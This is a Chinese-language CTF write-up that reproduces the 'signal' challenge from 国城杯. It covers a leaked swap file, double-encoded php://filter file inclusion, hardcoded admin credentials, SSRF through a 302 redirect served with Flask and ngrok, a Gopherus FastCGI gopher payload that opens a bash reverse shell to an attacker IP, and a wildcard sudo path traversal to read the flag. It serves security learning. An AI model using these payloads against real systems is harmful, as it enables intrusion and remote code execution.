# 国城杯复现
# signal
提示:cgi
显示一个登录框,还是信息搜集
用 dirsearch 搜索到 index.php.swp:
获取这个拿到信息:
guest:MyF3iend
登录:
可以目录穿越读 flag,但是是假的
开始尝试包含文件,发现包含 admin.php 文件会直接跳转回 index.php 页面,说明 php 代码是被解析了 的,所以可以知道后端就是 Include 函数来包含的,因为这里解析了 php 代码,所以现在就是看如何进行 文件包含,并且是需要将其编码输出才能成功文件包含读取代码。
其实这里是有几个非预期的,比如 fileter chian、侧信道读取文件等,然后设置为只能 get 传参,禁了很 多 filter chain 需要用的过滤器的部分的字符,想着 fuzz 都很难 fuzz 出来,所以也是打不了的(想着可以 报 419 的错误),这里为了禁这些非预期是下了狠手的,虽然只是一个简单的二次编码绕过的考点。所 以直接像下面这个这样传参即可(ps:还是没防住,忘了禁读 guest.php 了,导致明牌 waf,被 filter
chain 非预期了):
二次编码绕过:
php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25% 32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25 %36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=admin.php |
获得 admin.php 源码:
<?php | |
session_start(); | |
error_reporting(0); | |
if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') { $_SESSION['error'] = 'Please fill in the username and password'; | |
header("Location: index.php"); | |
exit(); } | |
$url = $_POST['url']; $error_message = ''; $page_content = ''; | |
if (isset($url)) { | |
if (!preg_match('/^https:\/\//', $url)) { | |
$error_message = 'Invalid URL, only https allowed'; } else { | |
$ch = curl_init(); | |
curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); | |
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $page_content = curl_exec($ch); | |
if ($page_content === false) { | |
$error_message = 'Failed to fetch the URL content'; } | |
curl_close($ch); } | |
} | |
?> |
发现:
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); |
发现是允许跟随 302 跳转的,并且是接受 POST 传参 url 的,但是是加了 session 验证的,所以是需要知道 怎么登陆进这个 admin 页面的,所以现在是需要找在哪里可以得到 admin 的账户。继续信息收集,可以 在最开始的登录页面的源代码中看到如下代码:
这还有个 php,读一下:
<?php | |
session_start(); | |
$users = [ | |
'admin' => 'FetxRuFebAdm4nHace', | |
'guest' => 'MyF3iend' ]; | |
if (isset($_POST['username']) && isset($_POST['password'])) { | |
$username = $_POST['username']; $password = $_POST['password']; | |
if (isset($users[$username]) && $users[$username] === $password) { $_SESSION['logged_in'] = true; | |
$_SESSION['username'] = $username; | |
if ($username === 'admin') { | |
header('Location: admin.php'); | |
} else { | |
header('Location: guest.php'); } | |
exit(); } else { | |
$_SESSION['error'] = 'Invalid username or password'; | |
header('Location: index.php'); exit(); | |
} | |
} else { | |
$_SESSION['error'] = 'Please fill in the username and password'; header('Location: index.php'); | |
exit(); | |
?> |
得到账号,登录 admin
获得这个东西,可以进行 ssrf,因为 admin.php 源码是说的可以进行 302 跳转的,我们可以进行 ssrf302 跳转,然而只能用 https 协议
就得用 ngrok 这个来将 http 转成 https 来进行绕过
ssrf:
通过用公网地址让靶机访问公网的服务器,然后公网机给一个 127.0.0.1 访问靶机的内容,这里可以用 **Gopherus** 来进行 shell 反弹(就是命令执行)
由于 ngrok 的特殊性,使得用于的公网机可以是自己的私网地址,我用的就是自己的 kali
用 gopherus 来获得 payload:
将其贴入
python 脚本:
from flask import Flask, redirect
app =Flask(__name__)
@app.route('/')
def indexRedirect():
redirectUrl ='gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH105%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00i%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/【IP】/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'
return redirect(redirectUrl)
if __name__ == '__main__':
app.run('0.0.0.0', port=8080, debug=True)
在 kali 里面运行 python 脚本:
再运行 ngrok:
ngrok http 8080
可以看见已经变成 https 的公网地址
直接放入 admin.php 中
https://6b43-111-22-76-69.ngrok-free.app
submit
谈到了:
但是 cat 不了 flag (没找到):
find / -name flag*
寻找所有带有 flag 名字的文件
找到这个 flag:
再次提示不是这个 flag
还没有权限
sudo -l
因为此处无密码 sudo 的 cat 可读路径用了 * 进行通配,所以可以尝试目录穿越,如下读取 flag 即可:
sudo cat /tmp/whereflag/../../../root/flag
最后获取 flag:
爽啦!(终于复现了一道难的题目,555)